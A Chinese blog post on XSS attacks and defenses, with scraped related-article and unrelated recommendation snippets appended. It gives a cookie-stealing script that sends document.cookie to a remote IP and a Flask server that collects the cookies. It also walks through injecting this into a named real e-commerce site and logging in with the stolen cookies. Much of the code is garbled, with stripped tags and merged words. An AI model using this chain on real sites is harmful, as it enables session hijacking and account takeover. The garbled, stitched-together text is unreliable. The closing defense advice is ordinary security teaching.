XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击案例:

新浪微博遭受XX攻击:

http://soft.yesky.com/security/156/30179156.shtml

人人网遭受XSS攻击:

http://www.freebuf.com/articles/6295.html

简单的测试方法:

所有提交数据的地方都有可能存在XSS,可以用最简单脚本进行测试:

<>alert(“1”)</>XSS攻击类型

反射型:

黑客构造一个包含XSS代码的URL(服务器中没有这样的页面和内容),诱导或等待用户去点击链接,才能触发XSS代码,达到劫持访问、获取cookies的目的。一般容易出现在搜索页面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22alert(1)%22&psa=M3.s10.0.j4 (此漏洞已经修复,请勿再测,造成访问压力。)

持久型:

如果黑客可以将脚本代码通过发布内容(如发论坛、博文、写留言等)的方式发布后,存储在服务端的数据库或者文件中,成为某个url正常的页面的一部分,所有访问这个页面的所有用户都是受害者,看似正常的url,则其页面已经包含了xss代码,持久型XSS更具有隐蔽性,带来的危害也更大

例如:在页面中不容注意的地方加一段js脚本(如下),当页面被打开时,页面会加载这段脚本,加系统登录的cookies发送到远端hacker的手中。

<type="text/java"src="https://xss.xxx.com/hacker.js"></>

DOM型:

DOM就是一个树状的模型,你可以编写Java代码根据DOM一层一层的节点,去遍历/获取/修改对应的节点,对象,值。dom xss并不复杂,他也属于反射型xss的一种(,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的),简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。xss代码可能是简短的插入节点的语句,载入来自第三方域的含有具体恶意代码的脚本。具体的恶意代码,常见的行为是读取cookie,构造例如一个img标签,将其src属性指向恶意第三方网站,将cookie的内容作为参数附在src的url上,这样黑客就能在其网站上获得你的cookie信息,这就是所谓的cookie劫持。

js获取浏览器的cookies, 通过网络将cookies发送给远端的接https://xss.xxx.com/hacker.js,收程序。

varimg = document.( 'img'); img.width = 0; img.height = 0; img.src = 'http://10.100.100.14:5000/?hacker='+encodeURIComponent( document.cookie);

接收端,利用python flask写个非常简单的项目

fromflask importFlask, request app = Flask(__name__) @app.route('/')defget_cookies():text = request.args.get( 'hacker') withopen(file_path, mode= 'a', encoding= 'utf-8') asf: f.writelines(text + "\n") if__name__ == '__main__': app.run(host= '0.0.0.0', port= 5000, debug=app.debug, threaded= True)

示例:(此漏洞已经修复,请勿再测,造成访问压力。)

在www.wuage.com?fromtf=budao注册过后返回个人中心,在公司名称完成XSS注入

在搜索页面https://s.wuage.com/product/search?fromtf=budao ,选择一个公司点击讯问价格-勾选上同时发布到求购大厅,此时就会收到源源不断的cookies信息。

获取cookies

修改cookies,登录网站:

进入用户的会员中心,查看企业信息

XSS攻击防御

设置HttpOnly以避免cookie劫持的危险。

过滤,对诸如

<>、<img>、<a>

等标签进行过滤。

编码,像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

限制,通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

XSS常见攻击与防御的更多相关文章

  1. 从零学习安全测试,从XSS漏洞攻击和防御开始

    WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究 ...

  2. WEB常见攻击及防御

    对于一个Web应用来说,可能会面临很多不同的攻击.下面的内容将介绍一些常见的攻击方法,以及面对这些攻击的防御手段. 一.跨站脚本攻击(XSS) 跨站脚本攻击的英文全称是Cross Site Scrip ...

  3. XSS 跨站脚本攻击 的防御解决方案

    虽然说在某些特殊情况下依然可能会产生XSS,但是如果严格按照此解决方案则能避免大部分XSS攻击. 原则:宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区数据和代码. XSS的演示 Exam ...

  4. xss跨站脚本攻击与防御读书笔记(原创)

    XSS在客户端执行 可以任意执行js代码 0x01  xss 的利用方式 1. 钓鱼      案例:http://www.wooyun.org/bugs/wooyun-2014-076685  我是 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  7. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  8. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  9. 常见【十种】WEB攻击及防御技术总结

    最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...

随机推荐

  1. BZOJ的思维题

    5085:最大 给你一个n×m的矩形,要你找一个子矩形,价值为左上角左下角右上角右下角这四个数的最小值,要你最大化矩形 的价值. 关键点是要想到把这些值排序 值从小到大考虑,比如说现在最小的值是(x1 ...

  2. [HNOI2004] 树的计数 - prufer序列

    给定树每个节点的 degree,问满足条件的树的数目. \(n\leq 150, ans \leq 10^{17}\) Solution 注意特判各种坑点 \(\sum d_i - 1 = n-2\) ...

  3. localStorage存、取数组

    localStorage存储数组时需要先使用JSON.stringify()转成字符串,取的时候再字符串转数组JSON.parse(). var arr=[1,2,3,4]; localStorage ...

  4. (转) maven snapshot和release版本的区别

    在使用maven过程中,我们在开发阶段经常性的会有很多公共库处于不稳定状态,随时需要修改并发布,可能一天就要发布一次,遇到bug时,甚至一 天要发布N次.我们知道,maven的依赖管理是基于版本管理的 ...

  5. 解决webpack和gulp打包js时ES6转译ES5时Object.assign()方法没转译成功的问题

    在webpack或gulp打包的配置文件中package.json 引入"@babel/plugin-transform-object-assign": "^7.2.0& ...

  6. LVS笔试题!

    1.集群分类有哪些及各自实现的目标?高可用:保持系统的稳定,防止系统出现单点故障.负载均衡:比如高并发状态下,多个机器分摊请求,从而达到负载均衡高性能运算集群:比如hadoop分布式计算框架,把多个机 ...

  7. 开班信息CSS实现

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. android studio编译包真机安装失败解决方案记录

    Android studio升级到3.0之后,编译的APK文件无法在真机上安装,提示安装失败,最开始以为是API版本过高,与手机的版本不兼容,然后降低API,结果依然是安装失败. 然后连接手机,直接调 ...

  9. QQ第三方登录(一)

    要实现QQ第三方登陆 这就需要QQ方面的支持. 首先  我们需要在QQ开发者网站上注册,https://connect.qq.com/index.html 登陆之后点击应用管理,正常情况下我们是未提交 ...

  10. 简单易用,用Powershell劫持Windows系统快捷键

    POC:  $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("des ...